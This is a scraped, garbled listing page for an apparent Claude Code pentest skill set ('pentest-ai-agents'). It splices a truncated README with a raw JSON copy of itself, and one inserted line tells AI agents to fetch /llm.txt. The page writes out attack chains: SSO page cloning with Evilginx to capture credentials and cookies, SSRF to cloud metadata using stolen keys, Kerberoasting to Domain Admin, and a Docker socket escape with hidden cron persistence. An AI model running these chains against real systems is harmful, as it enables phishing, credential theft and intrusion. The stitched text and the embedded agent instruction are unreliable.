pentest-ai-agents — Skillopedia

pentest-ai-agents Skill by ara.so — Security Skills collection. pentest-ai-agents transforms Claude Code into an offensive security research assistant through 35 specialized subagents. Each agent carries deep domain knowledge in specific areas: recon, web testing, Active Directory, cloud security, mobile/wireless pentesting, social engineering, payload crafting, reverse engineering, exploit chaining, detection engineering, and forensics. The agents route automatically based on task description—no manual agent selection needed. They understand 80+ offensive security tools (nmap, nuclei, BloodH…

\n filter:\n ServiceName|startswith: 'krbtgt'\n condition: selection and not filter\nfalsepositives:\n - Legitimate service account access\nlevel: medium\ntags:\n - attack.credential_access\n - attack.t1558.003\n```\n\n```spl\n# Splunk SPL\nindex=windows EventCode=4769 Ticket_Options=0x40810000 Service_Name=*$ NOT Service_Name=krbtgt*\n| stats count by src_ip, Account_Name, Service_Name\n| where count > 5\n```\n\n### Reverse Engineering Firmware\n\n```bash\n\"Analyze router-firmware.bin and extract the encryption keys.\"\n```\n\n**reverse-engineer**:\n```bash\n# Extract filesystem\nbinwalk -e router-firmware.bin\n\n# Identify architecture\nfile _router-firmware.bin.extracted/squashfs-root/bin/httpd\n# Output: ELF 32-bit LSB MIPS\n\n# Load into Ghidra (headless mode)\nanalyzeHeadless /tmp/ghidra_project router_fw -import _router-firmware.bin.extracted/squashfs-root/bin/httpd -postScript FindCryptoKeys.java\n\n# Search for hardcoded keys\nstrings -n 16 httpd | grep -E '^[A-Fa-f0-9]{32,}

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\n```\n\nProvides Ghidra Python scripts for automated key extraction from common crypto libraries (OpenSSL, mbedTLS).\n\n### Phishing Campaign Setup\n\n```bash\n\"Set up a phishing campaign for acme-corp.com employees. Clone their SSO login page and capture credentials with session cookies.\"\n```\n\n**phishing-operator**:\n```bash\n# 1. Register lookalike domain\n# Manual: acme-sso.com (or use dnstwist suggestions)\ndnstwist acme-corp.com --registered | head -10\n\n# 2. Clone SSO page\nwget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://sso.acme-corp.com/login\n\n# 3. Deploy Evilginx\nevilginx2 -p ./phishlets\n# Configure phishlet for acme-corp SSO (example phishlet config provided)\n\n# 4. Track campaign in GoPhish\n# Import targets, attach cloned template, set sending profile\n```\n\nIncludes SMTP relay setup, domain reputation warming, and email header crafting to evade SPF/DKIM/DMARC.\n\n### CTF Challenges\n\n```bash\n\"Solve this CTF crypto challenge: ciphertext is 'Xq3mK9...' and we have a PCAP with TLS handshake.\"\n```\n\n**ctf-solver**:\n1. Identifies cipher type (frequency analysis suggests substitution)\n2. Tries automated solvers: `dcode.fr substitution`, `quipqiup`\n3. Extracts TLS pre-master secret from PCAP via Wireshark\n4. Decrypts TLS stream:\n ```bash\n tshark -r capture.pcap -o tls.keylog_file:sslkeylog.txt -Y http -T fields -e http.file_data\n ```\n\nCovers crypto, steganography (zsteg, steghide), forensics, binary exploitation, web challenges.\n\n## Underlying Tools\n\nAgents drive these tools (installable via `install.sh --tools`):\n\n**Recon**: nmap, masscan, rustscan, subfinder, amass, httpx, theHarvester, sherlock, holehe, maigret \n**Web**: ffuf, gobuster, feroxbuster, sqlmap, dalfox, Commix, dirsearch, whatweb \n**Vulnerability**: nuclei, nikto, nmap NSE, RouterSploit \n**AD**: BloodHound, Impacket, NetExec, Certipy, kerbrute, Responder \n**Credentials**: Hydra, Hashcat, John, cupp, CeWL, Crunch, hashid, haiti \n**Cloud**: aws-cli, azure-cli, gcloud, Trivy, Prowler, ScoutSuite, Pacu \n**Containers**: kubectl, kube-hunter, peirates, CDK \n**C2**: Sliver, Mythic, Havoc, Cobalt Strike \n**LLM**: Garak, PyRIT, Promptfoo \n**Mobile**: Frida, Objection, jadx, apktool, MobSF \n**Wireless**: aircrack-ng, hcxdumptool, bettercap \n**Social**: GoPhish, Evilginx, dnstwist \n**Payloads**: msfvenom, Donut \n**RE**: Ghidra, Radare2, Binwalk, dnSpy \n**Forensics**: Volatility 3, exiftool, YARA, Wireshark \n\nRun `bash db/doctor.sh` to audit installed tools.\n\n## Token Optimization\n\n### Model Selection\n\n```bash\n# Use Haiku for advisory agents (engagement-planner, exploit-guide, detection-engineer)\n./install.sh --global --lite\n\n# Or set manually:\nexport PENTEST_TIER1_MODEL=\"claude-3-5-haiku-20241022\"\nexport PENTEST_TIER2_MODEL=\"claude-3-7-sonnet-20250219\"\n```\n\n**Cost comparison** (per 1M tokens input):\n- Haiku: $0.80\n- Sonnet: $3.00\n\nTier 1 agents handle ~80% of interactions (planning, analysis, recommendations). Using Haiku for Tier 1 cuts costs by ~60% with minimal quality impact.\n\n### Context Management\n\nAgents use structured tool output parsing to minimize repeated context:\n\n```bash\n# Instead of pasting full nmap XML into chat:\nfindings.sh import --file acme-scan.xml\n\n# Agent queries SQLite directly:\nSELECT host, port, service, version FROM scan_results WHERE severity='critical';\n```\n\nReduces token usage by 10-50× for large scan outputs.\n\n## Local Models (Experimental)\n\nRun agents with local models via Ollama:\n\n```bash\n# Install Ollama\ncurl -fsSL https://ollama.com/install.sh | sh\n\n# Pull model\nollama pull mixtral:8x7b\n\n# Configure pentest-ai-agents\nexport PENTEST_LOCAL_MODEL=\"mixtral:8x7b\"\nexport ANTHROPIC_API_KEY=\"\" # Disable cloud models\n```\n\n**Tested models**:\n- `mixtral:8x7b`: Good for Tier 1 advisory agents\n- `llama3:70b`: Comparable to Haiku for planning/analysis\n- `codellama:34b`: Decent for exploit POC generation\n\n**Limitations**: Local models struggle with complex exploit chaining and detection rule generation. Recommend hybrid mode: local for Tier 1, Claude Sonnet for Tier 2.\n\n## Troubleshooting\n\n### Agent Not Routing\n\n**Symptom**: Claude doesn't invoke the right agent for your task.\n\n**Fix**: Be more explicit in task description:\n```bash\n# Vague\n\"Help with Active Directory\"\n\n# Specific\n\"I have a domain user. Analyze BloodHound data and recommend Kerberoasting attacks.\"\n```\n\nOr use slash commands:\n```bash\n/recommend \"domain user to domain admin in AD environment\"\n```\n\n### Tools Not Found\n\n**Symptom**: Agent recommends command, but tool isn't installed.\n\n**Fix**:\n```bash\n# Audit missing tools\nbash db/doctor.sh\n\n# Install missing tools\n./install.sh --tools\n\n# Or install specific tool manually:\nsudo apt install nmap\npipx install bloodhound\n```\n\n### Scope Refusal\n\n**Symptom**: Tier 2 agent refuses to run commands: \"No engagement scope declared.\"\n\n**Fix**: Declare scope first:\n```bash\n\"Engagement scope: 10.10.10.0/24, testlab.local, authorized by Alice \[email protected]>, 2026-05-01 to 2026-05-31\"\n```\n\nInclude: IP ranges, domains, authorizing party, time window.\n\n### Findings Database Locked\n\n**Symptom**: `database is locked` error when adding findings.\n\n**Fix**:\n```bash\n# Close any open findings.sh processes\npkill -f findings.sh\n\n# Or use WAL mode (write-ahead logging):\nsqlite3 ~/.pentest/findings.db \"PRAGMA journal_mode=WAL;\"\n```\n\n### Out-of-Date Agent Knowledge\n\n**Symptom**: Agent recommends deprecated tool or technique.\n\n**Fix**: Update agents:\n```bash\ncd pentest-ai-agents\ngit pull\n./install.sh --global\n```\n\nAgents track tool updates via community feedback. File issues for outdated recommendations.\n\n## Real-World Examples\n\n### Example 1: Full External Pentest Workflow\n\n```bash\n# Step 1: Plan engagement\n# In Claude Code:\n\"Plan a 2-week external pentest for acme-corp.com. No credentials. Focus on web, API, cloud.\"\n\n# engagement-planner produces timeline, ROE, tool list\n\n# Step 2: OSINT recon\n\"Run OSINT on acme-corp.com. Find subdomains, employee emails, leaked credentials.\"\n\n# osint-collector executes:\nsubfinder -d acme-corp.com -o subs.txt\namass enum -d acme-corp.com -o amass.txt\ntheHarvester -d acme-corp.com -b all -f harvest.json\n# Searches breach databases (dehashed, etc.)\n\n# Step 3: Vulnerability scanning\n\"Scan discovered hosts with nuclei for critical/high severity issues.\"\n\n# vuln-scanner:\nnuclei -l live-hosts.txt -severity critical,high -json -o nuclei.json\n\n# Step 4: Prioritize targets\n\"Analyze nuclei.json. Which hosts are most likely to give initial access?\"\n\n# recon-advisor:\n# 1. Parses JSON\n# 2. Identifies: SSRF in admin panel, outdated WordPress, exposed Git repo\n# 3. Recommends: \"Target admin.acme-corp.com/debug (SSRF) for cloud metadata access\"\n\n# Step 5: Exploit SSRF\n\"Exploit SSRF at admin.acme-corp.com/debug to access AWS metadata and pivot to S3.\"\n\n# exploit-chainer:\ncurl \"https://admin.acme-corp.com/debug?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n# Extracts AWS keys\naws s3 ls --profile stolen-creds\n# Finds sensitive data bucket\n\n# Step 6: Build detection\n\"Build Sigma and Splunk rules to detect SSRF to cloud metadata endpoints.\"\n\n# detection-engineer:\n# Produces Sigma rule + Splunk SPL + AWS CloudTrail query\n\n# Step 7: Report\n\"Generate executive summary and technical findings report.\"\n\n# report-generator:\n# Outputs Markdown with CVSS scores, remediation steps, attack timeline\n```\n\n### Example 2: AD Privilege Escalation from User to Domain Admin\n\n```bash\n# Starting point: domain user [email protected]\n\n# Step 1: Enumerate AD\n\"I have [email protected] credentials. Enumerate AD and find paths to Domain Admins.\"\n\n# ad-attacker:\nbloodhound-python -u alice -p 'Password123' -d corp.local -dc dc01.corp.local -c All --zip\n# Uploads to BloodHound GUI or parses JSON locally\n\n# Step 2: Identify attack path\n\"Analyze BloodHound data. What's the shortest path to DA?\"\n\n# ad-attacker:\n# Finds: alice → MemberOf → IT-Admins → GenericWrite → SVC_SQL → Kerberoastable → DA group\n\n# Step 3: Execute attack chain\n\"Execute the attack chain: GenericWrite to add SPN, Kerberoast SVC_SQL, crack hash.\"\n\n# ad-attacker:\n# 1. Add SPN to SVC_SQL (GenericWrite abuse)\npython3 addspn.py -u alice -p 'Password123' -t SVC_SQL -s HTTP/fake.corp.local corp.local/dc01\n\n# 2. Kerberoast\nGetUserSPNs.py corp.local/alice:Password123 -dc-ip dc01.corp.local -request -outputfile tgs.txt\n\n# 3. Crack\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Validate DA access\nnetexec smb dc01.corp.local -u SVC_SQL -p 'CrackedPassword' --shares\n\n# Step 4: Build detection\n\"Build detection rules for GenericWrite SPN modification and Kerberoasting.\"\n\n# detection-engineer:\n# Sigma rule for Event ID 4742 (user object modified) + SPN change\n# Splunk correlation for 4742 → 4769 (TGS request) within 5 minutes\n```\n\n### Example 3: Container Escape to Host Root\n\n```bash\n# Starting point: Shell inside Docker container\n\n# Step 1: Assess container environment\n\"I have a shell in a Docker container. Assess escape vectors.\"\n\n# container-breakout:\n# Checks: privileged flag, host PID namespace, mounted /var/run/docker.sock, capabilities\n\n# Step 2: Exploit mounted docker.sock\n\"docker.sock is mounted. Exploit it to escape to host.\"\n\n# container-breakout:\ndocker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host /bin/bash\n# Now root on host\n\n# Step 3: Persistence\n\"Establish persistence on the host as root.\"\n\n# c2-operator:\n# Recommends: cron job, systemd service, SSH key injection\necho \"* * * * * root /tmp/.update.sh\" >> /host/etc/crontab\n\n# Step 4: Detection\n\"Build Falco rule to detect docker.sock abuse from containers.\"\n\n# detection-engineer:\n# Falco rule for container process accessing /var/run/docker.sock\n```\n\n## Legal and Ethical Use\n\n**Authorized testing only.** All agents enforce scope guards:\n- Require explicit engagement scope (IP ranges, domains, authorization, dates)\n- Refuse out-of-scope actions\n- Log all commands for audit trails\n\n**Hard refusals** for:\n- Denial of Service\n- Mass internet scanning\n- Unattended worm propagation\n- False-flag operations\n- Safety-of-life systems (medical, ICS/SCADA)\n\nUsers are responsible for obtaining proper authorization before testing. pentest-ai-agents is a research and education tool. Unauthorized testing is illegal.\n\n## Contributing\n\nContributions welcome:\n- New agents (follow existing structure in `agents/`)\n- Tool integrations (add to `db/tools.json`)\n- Detection rules (expand `detection-engineer` ruleset)\n- Bug fixes and documentation improvements\n\nSee [CONTRIBUTING.md](https://github.com/0xSteph/pentest-ai-agents/blob/main/CONTRIBUTING.md) for guidelines.\n\n## Resources\n\n- [Documentation](https://pentestai.xyz/)\n- [INSTALL.md](https://github.com/0xSteph/pentest-ai-agents/blob/main/INSTALL.md) - Detailed installation guide\n- [Agent Reference](https://github.com/0xSteph/pentest-ai-agents/blob/main/docs/AGENTS.md) - Full agent descriptions\n- [Tool Matrix](https://github.com/0xSteph/pentest-ai-agents/blob/main/docs/TOOLS.md) - Tool coverage by agent\n- [GitHub Issues](https://github.com/0xSteph/pentest-ai-agents/issues) - Report bugs, request features\n\n## License\n\nMIT License - see [LICENSE](https://github.com/0xSteph/pentest-ai-agents/blob/main/LICENSE)","attachment_filenames":[],"attachments":[],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"pentest-ai-agents","type":"text"}]},{"type":"blockquote","content":[{"type":"paragraph","content":[{"text":"Skill by ","type":"text"},{"text":"ara.so","type":"text","marks":[{"type":"link","attrs":{"href":"https://ara.so","title":null}}]},{"text":" — Security Skills collection.","type":"text"}]}]},{"type":"paragraph","content":[{"text":"pentest-ai-agents transforms Claude Code into an offensive security research assistant through 35 specialized subagents. Each agent carries deep domain knowledge in specific areas: recon, web testing, Active Directory, cloud security, mobile/wireless pentesting, social engineering, payload crafting, reverse engineering, exploit chaining, detection engineering, and forensics.","type":"text"}]},{"type":"paragraph","content":[{"text":"The agents route automatically based on task description—no manual agent selection needed. They understand 80+ offensive security tools (nmap, nuclei, BloodHound, Impacket, Sliver, Ghidra, etc.) and can plan engagements, analyze recon data, research exploits, chain attacks, build detections, and write reports.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Installation","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Quick Install (Recommended)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash","type":"text"}]},{"type":"paragraph","content":[{"text":"This copies agent files to ","type":"text"},{"text":"~/.claude/agents/","type":"text","marks":[{"type":"code_inline"}]},{"text":" and is idempotent (safe to re-run for updates).","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Manual Clone and Install","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"git clone https://github.com/0xSteph/pentest-ai-agents.git\ncd pentest-ai-agents\n\n# Install agents globally for all projects\n./install.sh --global\n\n# Or install for current project only\n./install.sh --project\n\n# Use Haiku for advisory agents (lower cost)\n./install.sh --global --lite\n\n# Also install underlying CLI tools (nmap, nuclei, ffuf, etc.)\n./install.sh --tools","type":"text"}]},{"type":"paragraph","content":[{"text":"The ","type":"text"},{"text":"--tools","type":"text","marks":[{"type":"code_inline"}]},{"text":" flag installs underlying offensive security tools via apt/brew/pacman + pipx/go/cargo.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Installation Modes","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Flag","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Behavior","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"--global","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Install to ","type":"text"},{"text":"~/.claude/agents/","type":"text","marks":[{"type":"code_inline"}]},{"text":" (all projects)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"--project","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Install to ","type":"text"},{"text":".claude/agents/","type":"text","marks":[{"type":"code_inline"}]},{"text":" (current project)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"--lite","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Use Haiku for Tier 1 advisory agents (cost optimization)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"--tools","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Install underlying tools (nmap, nuclei, BloodHound, etc.)","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Agent Architecture","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Tier 1 vs Tier 2","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Tier 1 (Advisory)","type":"text","marks":[{"type":"strong"}]},{"text":": Analyze data, plan engagements, recommend commands. Never execute tools directly. Examples: engagement-planner, exploit-guide, detection-engineer.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Tier 2 (Execution-capable)","type":"text","marks":[{"type":"strong"}]},{"text":": Can run tools with user approval and declared scope. Examples: recon-advisor, web-hunter, ad-attacker, payload-crafter.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"All Tier 2 agents enforce scope guards—they require explicit engagement scope declaration and refuse out-of-scope actions.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Agent Categories","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Planning & OSINT:\n - engagement-planner: Phased pentest plans with MITRE ATT&CK mappings\n - threat-modeler: STRIDE/DREAD threat modeling\n - opsec-anonymizer: Operator identity hygiene, source IP design\n - osint-collector: Domain recon, email harvesting, social profiling\n - recon-advisor: Parses nmap/nuclei/BloodHound, prioritizes targets\n\nVulnerability Discovery:\n - vuln-scanner: nuclei, nikto, nmap NSE, RouterSploit orchestration\n - web-hunter: ffuf, gobuster, sqlmap, dalfox, Commix\n - api-security: API testing (GraphQL, REST, gRPC)\n - bizlogic-hunter: Business logic flaws, race conditions, IDOR\n - bug-bounty: Bug bounty workflow optimization\n - llm-redteam: OWASP LLM Top 10, prompt injection, RAG poisoning\n\nInfrastructure Attacks:\n - ad-attacker: BloodHound, Impacket, NetExec, Certipy, Kerberos abuse\n - cloud-security: AWS/Azure/GCP misconfig, SCPs, IAM abuse\n - cicd-redteam: Pipeline exploitation, artifact poisoning\n - container-breakout: Docker/K8s escape, runc/cri-o CVEs, RBAC abuse\n\nSpecialized Domains:\n - mobile-pentester: Frida, Objection, jadx, MobSF\n - wireless-pentester: aircrack-ng, hcxtools, bettercap\n - social-engineer: Social engineering campaigns\n - phishing-operator: GoPhish, Evilginx, dnstwist\n\nPost-Exploitation:\n - privesc-advisor: Linux/Windows privilege escalation\n - c2-operator: Sliver/Mythic/Havoc/Cobalt Strike profiles\n - payload-crafter: msfvenom, Donut, custom loaders\n - swarm-orchestrator: Multi-agent attack coordination\n\nAnalysis & Reverse Engineering:\n - reverse-engineer: Ghidra, Radare2, Binwalk, dnSpy\n - malware-analyst: Volatility 3, YARA, sandbox analysis\n - forensics-analyst: Incident response, memory/disk analysis\n - ctf-solver: CTF challenge solver (crypto, stego, pwn, web)\n\nExploit Development:\n - exploit-chainer: Multi-step attack composition\n - attack-planner: Attack graph generation, path optimization\n - poc-validator: Exploit proof-of-concept validation\n - credential-tester: Hydra, Hashcat, credential stuffing\n\nDefense & Reporting:\n - detection-engineer: Sigma, Splunk SPL, Elastic KQL, Sentinel KQL\n - stig-analyst: DISA STIG compliance auditing\n - report-generator: Executive summaries, technical findings, CVSS scoring","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Core Commands","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Interactive Routing","type":"text"}]},{"type":"paragraph","content":[{"text":"Once installed, just describe your task in Claude Code:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"\"Plan an internal pentest for a 500-endpoint AD environment, 2-week window.\"\n\"I have a domain user, where do I look first in BloodHound?\"\n\"Convert this SharpHound EXE into shellcode for an EDR test.\"\n\"Run a phishing simulation against acme-corp.com.\"\n\"Reverse this firmware image and analyze the crypto protocol.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Claude routes to the appropriate specialist automatically.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Slash Commands","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Get agent recommendation + concrete next commands\n/recommend \"phish a small SaaS team's IT department\"\n\n# Filter agents by domain\n/agents-for web\n/agents-for cloud\n/agents-for active-directory\n\n# List all agents\n/agents","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Tool Audit","type":"text"}]},{"type":"paragraph","content":[{"text":"Check which underlying tools are installed:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Audit all tools grouped by agent\nbash db/doctor.sh\n\n# Audit specific agent's toolchain\nbash db/doctor.sh --agent ad-attacker\n\n# Machine-readable output\nbash db/doctor.sh --json","type":"text"}]},{"type":"paragraph","content":[{"text":"Output shows ","type":"text"},{"text":"✔","type":"text","marks":[{"type":"code_inline"}]},{"text":" (installed) or ","type":"text"},{"text":"✘","type":"text","marks":[{"type":"code_inline"}]},{"text":" (missing) per tool with install hints.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Findings Database","type":"text"}]},{"type":"paragraph","content":[{"text":"Track engagement findings in persistent SQLite:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Initialize new engagement\nbash findings.sh init acme-corp-2026\n\n# Add a finding (auto-routed from agent output)\nbash findings.sh add --severity critical --title \"Domain Admin in Kerberoastable SPN\" \\\n --description \"SVC_SQL account has adminCount=1 and servicePrincipalName set\" \\\n --cve CVE-2022-12345 --cvss 8.8 --host dc01.acme.local --tool bloodhound\n\n# Show engagement stats\nbash findings.sh stats\n\n# Export findings as JSON\nbash findings.sh export\n\n# Export as Markdown report\nbash findings.sh export --format md","type":"text"}]},{"type":"paragraph","content":[{"text":"Schema includes ","type":"text"},{"text":"cve","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"tool_used","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"mitre_attack","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"remediation","type":"text","marks":[{"type":"code_inline"}]},{"text":" columns.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Session Handoffs","type":"text"}]},{"type":"paragraph","content":[{"text":"Generate handoff reports between work sessions:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash handoff.sh","type":"text"}]},{"type":"paragraph","content":[{"text":"Produces Markdown with: what was accomplished, current state, immediate next actions, blockers.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Configuration","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Environment Variables","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Anthropic API key (required)\nexport ANTHROPIC_API_KEY=\"sk-ant-...\"\n\n# Optional: Model overrides\nexport PENTEST_TIER1_MODEL=\"claude-3-5-haiku-20241022\" # Advisory agents\nexport PENTEST_TIER2_MODEL=\"claude-3-7-sonnet-20250219\" # Execution agents\n\n# Optional: Findings database path\nexport PENTEST_FINDINGS_DB=\"$HOME/.pentest/findings.db\"\n\n# Optional: Tool installation preferences\nexport PENTEST_PACKAGE_MANAGER=\"apt\" # apt, brew, pacman, yum","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Scope Declaration (Tier 2 Agents)","type":"text"}]},{"type":"paragraph","content":[{"text":"Tier 2 agents require explicit scope before executing tools:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# In Claude Code, declare scope first:\n\"Engagement scope: 10.10.10.0/24, acme-corp.com, authorized by Jane Doe \[email protected]>, 2026-05-01 to 2026-05-15\"\n\n# Then request actions:\n\"Run full port scan on 10.10.10.0/24\"\n\"Enumerate SMB shares on discovered hosts\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Agents refuse actions outside declared IP ranges, domains, and time windows.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Hard Refusal List","type":"text"}]},{"type":"paragraph","content":[{"text":"All agents enforce scope guards that refuse:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Denial of Service (DoS/DDoS)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Mass internet scanning","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Unattended worm/ransomware propagation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"False-flag operations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Safety-of-life system targeting (medical, industrial control)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Usage Patterns","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Engagement Planning","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# In Claude Code:\n\"Plan a 2-week external pentest for fintech-startup.io. Assume no prior credentials. Focus on web app, API, and cloud infrastructure.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"engagement-planner","type":"text","marks":[{"type":"strong"}]},{"text":" produces:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Phased timeline (recon → initial access → privilege escalation → lateral movement → exfil simulation)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"MITRE ATT&CK technique mappings per phase","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Tool recommendations with time estimates","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ROE template with emergency contacts","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Recon and Target Prioritization","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Run recon tools (outside Claude):\nnmap -sV -sC -oA acme-scan 10.10.10.0/24\nnuclei -l hosts.txt -severity critical,high -json -o nuclei.json\n\n# In Claude Code:\n\"Analyze acme-scan.xml and nuclei.json. Prioritize targets for initial access.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"recon-advisor","type":"text","marks":[{"type":"strong"}]},{"text":" (Tier 2):","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Parses XML/JSON","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Groups findings by host and severity","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Recommends attack paths (e.g., \"10.10.10.50: outdated Apache + ProxyShell CVE\")","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Suggests next commands: ","type":"text"},{"text":"ffuf -u http://10.10.10.50/FUZZ -w /usr/share/wordlists/dirb/common.txt","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Active Directory Attack Chains","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# After obtaining BloodHound JSON:\n\"I have domain user [email protected]. BloodHound data is in ./bloodhound/. Show me paths to Domain Admins and recommend attacks.\"","type":"text"}]},{"type":"paragraph","content":[{"text":"ad-attacker","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Runs ","type":"text"},{"text":"bloodhound-python","type":"text","marks":[{"type":"code_inline"}]},{"text":" or parses existing JSON","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identifies: Kerberoastable accounts, AS-REP roastable users, constrained delegation, ACL abuse paths","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Generates command sequences:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"GetUserSPNs.py acme.local/alice:password -dc-ip 10.10.10.5 -request -outputfile spns.txt\nhashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Exploit Chaining","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"\"I found SSRF in the /admin/debug endpoint and read /etc/passwd. Next steps to get a shell?\"","type":"text"}]},{"type":"paragraph","content":[{"text":"exploit-chainer","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Validates SSRF → file read primitive","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Recommends: SSRF → internal service enumeration → cloud metadata (if 